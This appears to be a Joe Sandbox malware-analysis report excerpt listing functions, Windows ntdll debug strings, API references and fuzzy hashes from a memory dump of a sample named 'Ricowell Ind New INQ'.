Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-1783798831
Opcode ID: 70a099a6dd2ae156511fa0f9437cd9aed613f10fdbfa7c88759299451541137d
Instruction ID: ea3ca6776f469d5631523b99f4be4dce1e5d355b4ed04acb47eaa056603e150d
Opcode Fuzzy Hash: 70a099a6dd2ae156511fa0f9437cd9aed613f10fdbfa7c88759299451541137d
Instruction Fuzzy Hash: FD4108B5544340ABE720DF28DC45F4B77E8EF69664F004A2AB854A7350EB38E801CF92

Function 379043D5 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 37904489

Strings

minkernel\ntdll\ldrredirect.c, xrefs: 37904519
LdrpCheckRedirection, xrefs: 3790450F
Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 37904508

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
API String ID: 3446177414-3154609507
Opcode ID: 0b06de0670cd47142dc6f9536e0f991f2c194e3e920be52f5e2d3ed69f27c6c5
Instruction ID: d747020c16da1e5bccdd9f15f8f62069533b02bea65c95332d1c63d6d0283ebd
Opcode Fuzzy Hash: 0b06de0670cd47142dc6f9536e0f991f2c194e3e920be52f5e2d3ed69f27c6c5
Instruction Fuzzy Hash: EE41A176624311DBDB50CF58D940A1677E8AF8A7A8F050759EC58DB362D730E800CF91

Function 378A510F Relevance: 6.7, Strings: 5, Instructions: 434COMMON

Download Yara Rule

Strings

Kernel-MUI-Language-SKU, xrefs: 378A534B
Kernel-MUI-Number-Allowed, xrefs: 378A5167
WindowsExcludedProcs, xrefs: 378A514A
Kernel-MUI-Language-Allowed, xrefs: 378A519B
Kernel-MUI-Language-Disallowed, xrefs: 378A5272

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: Kernel-MUI-Language-Allowed$Kernel-MUI-Language-Disallowed$Kernel-MUI-Language-SKU$Kernel-MUI-Number-Allowed$WindowsExcludedProcs
API String ID: 0-258546922
Opcode ID: 6ec9d527274eb875cabe6f96fcdf29ce35b9eb73e8a5cf4a91ecea65ef6b67d7
Instruction ID: 738d89c864013ce5ac95f0508a8e2bf2cfcd4e672f3e53f097c16bd52b35f62a
Opcode Fuzzy Hash: 6ec9d527274eb875cabe6f96fcdf29ce35b9eb73e8a5cf4a91ecea65ef6b67d7
Instruction Fuzzy Hash: ACF14CB6D02219EFDB01CF99C980EDEBBB8EF29650F50406AE511E7610E7749E41CFA1

Function 3795ACEB Relevance: 6.4, APIs: 4, Instructions: 450timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3795AEA9
RtlDebugPrintTimes.NTDLL ref: 3795B185

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: 7a138129da15d268358366ae89022f90b85fecec11e71b4653225d6748223763
Instruction ID: 3239410d7898fcecddc43345cf0c114ba91d7a8ba086b9aaf50267081c6dde2c
Opcode Fuzzy Hash: 7a138129da15d268358366ae89022f90b85fecec11e71b4653225d6748223763
Instruction Fuzzy Hash: 55F1F572E006218FCB18CF68C9D167EFFF6EF88264B59426AD466DB384D634E941CB50

Function 37877662 Relevance: 6.3, Strings: 5, Instructions: 51COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 378DADA5
RtlFreeHeap, xrefs: 378DADCE
, passed to %s, xrefs: 378DADCF
HEAP: , xrefs: 378DADB2
Invalid heap signature for heap at %p, xrefs: 378DADBE

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlFreeHeap
API String ID: 0-3061284088
Opcode ID: fa94d5ac909f2ef187f97944f64b0df06d180d56c2ef44f174ba08799e91f465
Instruction ID: 3f5a3346e9fb169d3de35a24c89d9be6e59d954b21a34225a167fc9b07bc6e96
Opcode Fuzzy Hash: fa94d5ac909f2ef187f97944f64b0df06d180d56c2ef44f174ba08799e91f465
Instruction Fuzzy Hash: EA014C360052C49EE305872CE45DF927BE4DF62730F34408DE0218B7919A58AC40DE63

Function 37880485 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 135timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 378805D6

Strings

kLsE, xrefs: 378805FE
TerminalServices-RemoteConnectionManager-AllowAppServerMode, xrefs: 37880586

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID: DebugPrintTimes
String ID: TerminalServices-RemoteConnectionManager-AllowAppServerMode$kLsE
API String ID: 3446177414-2547482624
Opcode ID: 09fa452327c583cbda25721b95a550d0bb33dadf0577b61f52809f25c44b9c78
Instruction ID: f3e38e549f8883f97364f809e61fad0571b84a85b62346e1947379a9cef825d2
Opcode Fuzzy Hash: 09fa452327c583cbda25721b95a550d0bb33dadf0577b61f52809f25c44b9c78
Instruction Fuzzy Hash: B551AEB5A0174EEFE720DFA4C4407AAB7F4AF64314F00863ED5A9E3641EB34A545CB62

Function 3788A2E0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON

Download Yara Rule

Strings

8, xrefs: 3788A307
6, xrefs: 3788A317
LdrResFallbackLangList Enter, xrefs: 3788A30F
LdrResFallbackLangList Exit, xrefs: 3788A31F

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-379654539
Opcode ID: 786f500b30fda602b0bfec628e42764f92055a271e4a0be023888e1b506a5835
Instruction ID: 9e010890ce7d5464fd0603c2054ce4d885c3a8a5d93a6c1a604c45edff70976d
Opcode Fuzzy Hash: 786f500b30fda602b0bfec628e42764f92055a271e4a0be023888e1b506a5835
Instruction Fuzzy Hash: A9C1BC74108386DFE711CF58C080BAAB3E4BFA5754F04496AF895DB690EB38DA49CB53

Function 378B8322 Relevance: 5.3, Strings: 4, Instructions: 263COMMON

Download Yara Rule

Strings

LdrpInitializeProcess, xrefs: 378B8342
@, xrefs: 378B84B1
\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 378B847E
minkernel\ntdll\ldrinit.c, xrefs: 378B8341

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
API String ID: 0-1918872054
Opcode ID: dec54c39cbb3e7746aeed979c87ff0bd461b939a9628dc7aa16ac0242e79e89b
Instruction ID: bd0cb4850d0632ebef4a06ae81f1154c7adc1dfd86b5d9e097b10e2a93670bdd
Opcode Fuzzy Hash: dec54c39cbb3e7746aeed979c87ff0bd461b939a9628dc7aa16ac0242e79e89b
Instruction Fuzzy Hash: 54918F71508345AFE721DE25D840FABB7E8EBA8794F40092EF59892250E738D948DF93

Function 378B265C Relevance: 5.2, Strings: 4, Instructions: 249COMMON

Download Yara Rule

Strings

SXS: %s() passed the empty activation context, xrefs: 378F1FE8
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 378F20C0
RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 378F1FE3, 378F20BB
.Local, xrefs: 378B27F8

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 0-1239276146
Opcode ID: 7a55fccf5ab9e359980582e13ea5fb83bb5c1683fa3a1c2dcb73431b794313e9
Instruction ID: 02985378e25e3d7b084e568a0b97cbf58bfc19773b6ef5fbe78887254336099c
Opcode Fuzzy Hash: 7a55fccf5ab9e359980582e13ea5fb83bb5c1683fa3a1c2dcb73431b794313e9
Instruction Fuzzy Hash: 32A18B759013299FDB20CF64D888B99B3B1BF69364F1005EAD818AB351DB31AE85CFD1

Function 378863CB Relevance: 5.2, Strings: 4, Instructions: 211COMMON

Download Yara Rule

Strings

ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 378E0E72
ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 378E0E2F
ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 378E0DEC
ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 378E0EB5

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
API String ID: 0-1468400865
Opcode ID: 07738963584ff865f479d5a97c425843b03e1a814c0779f5b90e662cc79f686c
Instruction ID: 8a54c3deeb237fe6c63535014b37e2e56529508e0c0c7ac79716fdd4f06b5988
Opcode Fuzzy Hash: 07738963584ff865f479d5a97c425843b03e1a814c0779f5b90e662cc79f686c
Instruction Fuzzy Hash: 3471E2B1A04309AFD750CF14C885B8B7BACAFA57A4F440968F9584A247D738E588CFD2

Function 3787F5C7 Relevance: 5.2, Strings: 4, Instructions: 188COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 378DE18D
`, xrefs: 378DE1B7
HEAP: , xrefs: 378DE2DD
ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 378DE2F2

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $ZwAllocateVirtualMemory failed %lx for heap %p (base %p, size %Ix)$`
API String ID: 0-2586055223
Opcode ID: 628b7a50f9d3079beebe1d5e9b062754dcc15eb47d8fa43be5cc11511922852b
Instruction ID: d793f5753410300f2adafee0a590e8fd7f5f09cef87608011b077909a5381034
Opcode Fuzzy Hash: 628b7a50f9d3079beebe1d5e9b062754dcc15eb47d8fa43be5cc11511922852b
Instruction Fuzzy Hash: 53610275204784EFE712CF68C844F67B7E9EFA4764F0444A9F9758B291DA38E801CB62

Function 37913608 Relevance: 4.1, Strings: 3, Instructions: 398COMMON

Download Yara Rule

Strings

PE, xrefs: 379137D2
LdrpResSearchResourceHandle Enter, xrefs: 37913666
LdrpResSearchResourceHandle Exit, xrefs: 37913681

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: LdrpResSearchResourceHandle Enter$LdrpResSearchResourceHandle Exit$PE
API String ID: 0-1168191160
Opcode ID: 8da91ead123456c9231ed6431479397034df00bb2d6e3cffb5893ea688539fb4
Instruction ID: adacfcdd98b0bad009d9ebca5e83997043a948287fa88d8cfa30eb3b473e3334
Opcode Fuzzy Hash: 8da91ead123456c9231ed6431479397034df00bb2d6e3cffb5893ea688539fb4
Instruction Fuzzy Hash: ABF192B5A0022C8BDB21CF18CC80BE9B3B9EF4C758F4482E9D509A7241EB759E95CF55

Function 37881380 Relevance: 4.1, Strings: 3, Instructions: 385COMMON

Download Yara Rule

Strings

HEAP: Free Heap block %p modified at %p after it was freed, xrefs: 37881648
HEAP[%wZ]: , xrefs: 37881632
HEAP: , xrefs: 378814B6

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP: Free Heap block %p modified at %p after it was freed$HEAP[%wZ]:
API String ID: 0-3178619729
Opcode ID: 88304cecdd90864017fa09e28ba227681745aafef566e882498d9de403ac907d
Instruction ID: 690c5721476dc6112642772b78ad0af186843ffe2e5369c6e14aac831ee98589
Opcode Fuzzy Hash: 88304cecdd90864017fa09e28ba227681745aafef566e882498d9de403ac907d
Instruction Fuzzy Hash: 37E1E074A04345AFE714CF28C491B7ABBF2EF68314F14895DE4A6CB246EB34E940DB50

Function 378AF4D0 Relevance: 4.1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 378F00F1
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 378F00C7
RTL: Re-Waiting, xrefs: 378F0128

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: 698cc96f4f0c690a86864e830d655de1a1989e1a7507558aa6374cbe1ab31c8d
Instruction ID: 47c4b77b3b140a19b3f747e9c1b64cb25ccb51370641ae5ef48dce65c734bc19
Opcode Fuzzy Hash: 698cc96f4f0c690a86864e830d655de1a1989e1a7507558aa6374cbe1ab31c8d
Instruction Fuzzy Hash: F1E1BD74608745DFE751CF28C880B1AB7E0BFA5368F100A6DF5A58B2E1DB79E944CB42

Function 3788B5E0 Relevance: 4.1, Strings: 3, Instructions: 303COMMON

Download Yara Rule

Strings

LdrResGetRCConfig Exit, xrefs: 3788B634
LdrResGetRCConfig Enter, xrefs: 3788B622
MUI, xrefs: 3788B5F8, 3788B707

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: LdrResGetRCConfig Enter$LdrResGetRCConfig Exit$MUI
API String ID: 0-1145731471
Opcode ID: 7134d67597206360d74c52a90efa994efc0923d3c6883a1a66f96a1310b3f44d
Instruction ID: d33dfb86538336413290741f7098a86953d2c4301f1dba41d918808256d6cb73
Opcode Fuzzy Hash: 7134d67597206360d74c52a90efa994efc0923d3c6883a1a66f96a1310b3f44d
Instruction Fuzzy Hash: CEB19E75A007099FDB14CF68C890B9EBBB5AFA97A4F154529E421EBBA0D734EC40CF00

Function 3790330C Relevance: 4.0, Strings: 3, Instructions: 292COMMON

Download Yara Rule

Strings

@, xrefs: 3790351F
\SystemRoot\system32\, xrefs: 379034C2
DelegatedNtdll, xrefs: 3790334E

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: @$DelegatedNtdll$\SystemRoot\system32\
API String ID: 0-2391371766
Opcode ID: 19f1a0916ff406d5e4e08f0464b8755201242ba582e42fdbade55870bc959a75
Instruction ID: 67c58e166946010faaff590f7912031a5fb3ebae43c86c16b8c73b92c7805a4e
Opcode Fuzzy Hash: 19f1a0916ff406d5e4e08f0464b8755201242ba582e42fdbade55870bc959a75
Instruction Fuzzy Hash: 6DB19DB6614745AFE311CF54C881B5BB7E8BB4C768F410A2DFA509B290DB74E848CF92

Function 3791327E Relevance: 4.0, Strings: 3, Instructions: 236COMMON

Download Yara Rule

Strings

LdrpResMapFile Exit, xrefs: 379132B7
@, xrefs: 379133F7
LdrpResMapFile Enter, xrefs: 379132A5

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: @$LdrpResMapFile Enter$LdrpResMapFile Exit
API String ID: 0-318774311
Opcode ID: 2e735e26ff81809f09a92fc117f2dd37d6c1c4b135b97f189f608ba5eb100491
Instruction ID: 0a193a973e839dc2167e882b327a06899c85f7c4af4ebb048d7e7d87ef2cd5a5
Opcode Fuzzy Hash: 2e735e26ff81809f09a92fc117f2dd37d6c1c4b135b97f189f608ba5eb100491
Instruction Fuzzy Hash: FC81B071208344AFE711CB15C844B6ABBF8FF8C768F400A6DF9949B290DB74E915CB66

Function 3788B360 Relevance: 4.0, Strings: 3, Instructions: 221COMMON

Download Yara Rule

Strings

LdrpResGetResourceDirectory Enter, xrefs: 3788B385
{, xrefs: 378E35BD
LdrpResGetResourceDirectory Exit, xrefs: 3788B397

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: LdrpResGetResourceDirectory Enter$LdrpResGetResourceDirectory Exit${
API String ID: 0-373624363
Opcode ID: b1fd5533ee890fae647f6339c1fdca6112deed7775048e4f279e9b7f75e3a01e
Instruction ID: 51c8fc34c1c353de67498b191cbc9056e65014453da680b521df267682635a65
Opcode Fuzzy Hash: b1fd5533ee890fae647f6339c1fdca6112deed7775048e4f279e9b7f75e3a01e
Instruction Fuzzy Hash: 9D91ED75A04309DFEB11CF58C4407AEBBB4EFA5364F154299E820AB790D778AE80CF90

Function 3795B2BC Relevance: 3.9, Strings: 3, Instructions: 180COMMON

Download Yara Rule

Strings

GlobalizationUserSettings, xrefs: 3795B3B4
\Registry\Machine\SYSTEM\CurrentControlSet\Control\International, xrefs: 3795B3AA
TargetNtPath, xrefs: 3795B3AF

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: GlobalizationUserSettings$TargetNtPath$\Registry\Machine\SYSTEM\CurrentControlSet\Control\International
API String ID: 0-505981995
Opcode ID: a38a01d4645707c2b1708fd19551f97082abe3acc8973b7ee082d34dc0a7c945
Instruction ID: fefb13f75531731c8be304b94ac40ba11dabbddaafaa41324b66166ef232829c
Opcode Fuzzy Hash: a38a01d4645707c2b1708fd19551f97082abe3acc8973b7ee082d34dc0a7c945
Instruction Fuzzy Hash: FB617072D4122DABDB31DF54DC88BDAB7B8AB14724F4102E9E508AB250C778DE85CF90

Function 3787F75B Relevance: 3.9, Strings: 3, Instructions: 167COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 378DE435
RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix), xrefs: 378DE455
HEAP: , xrefs: 378DE442

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $RtlpHeapFreeVirtualMemory failed %lx for heap %p (base %p, size %Ix)
API String ID: 0-1340214556
Opcode ID: 9d7713807831f955c2169f7f693f3dd92ad1e663b9bab32b96da2349fbf6db85
Instruction ID: b313f4125f7fa94feae5348b214d042a5192b778f38ad1abf9022d1c5c2b83b7
Opcode Fuzzy Hash: 9d7713807831f955c2169f7f693f3dd92ad1e663b9bab32b96da2349fbf6db85
Instruction Fuzzy Hash: 905125356047C4EFE312CBA9C884FAABBF8FF25764F0440A4E5619B652D778E901CB51

Function 378A1514 Relevance: 3.9, Strings: 3, Instructions: 166COMMON

Download Yara Rule

Strings

LdrpCompleteMapModule, xrefs: 378EA39D
minkernel\ntdll\ldrmap.c, xrefs: 378EA3A7
Could not validate the crypto signature for DLL %wZ, xrefs: 378EA396

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: Could not validate the crypto signature for DLL %wZ$LdrpCompleteMapModule$minkernel\ntdll\ldrmap.c
API String ID: 0-1676968949
Opcode ID: 6add2a0ecd26e7467ec868001a86dfcf47a84e2919a2fc9400e2cf2120561e83
Instruction ID: f210ed2f2840f279aa527245aa44210d7d7cd8bc00cd6dae571829b0e83a30aa
Opcode Fuzzy Hash: 6add2a0ecd26e7467ec868001a86dfcf47a84e2919a2fc9400e2cf2120561e83
Instruction Fuzzy Hash: 77512774A04745DFEB11CF6CC984B6A77F4AF26B68F100694E861DBAD1DB34E900CB42

Function 3792D62C Relevance: 3.9, Strings: 3, Instructions: 163COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 3792D792
HEAP: , xrefs: 3792D79F
Heap block at %p modified at %p past requested size of %Ix, xrefs: 3792D7B2

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Heap block at %p modified at %p past requested size of %Ix
API String ID: 0-3815128232
Opcode ID: f25e470dedbe898bf991afc37f44b021914e377875fa004b324859aa534785ea
Instruction ID: 733ec7802f7bddfa3024e4bf79cfb3dac9a2d3c86c1a0468a2fce1e7583fa6c0
Opcode Fuzzy Hash: f25e470dedbe898bf991afc37f44b021914e377875fa004b324859aa534785ea
Instruction Fuzzy Hash: 4B5158B8100B488EF360FA29C44477273EADF4529CF504A89E4D5AB388D669E407FB61

Function 3787753F Relevance: 3.9, Strings: 3, Instructions: 132COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 378DAD3A
Invalid address specified to %s( %p, %p ), xrefs: 378DAD5A
HEAP: , xrefs: 378DAD47

Memory Dump Source

Source File: 00000003.00000002.790967887167.0000000037850000.00000040.00001000.00020000.00000000.sdmp, Offset: 37850000, based on PE: true

Associated: 00000003.00000002.790967887167.0000000037979000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.790967887167.000000003797D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_37850000_Ricowell Ind New INQ.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Invalid address specified to %s( %p, %p )
API String ID: 0-1151232445
Opcode ID: 9c0ba40b3e4ea2935f22573b43f1e318cf3f2f963910883089bed8563648c395
Instruction ID: 93c8dad108e16ef9983cca06e3ab88614e8f7c73a1538dde4a06b382268cfa52
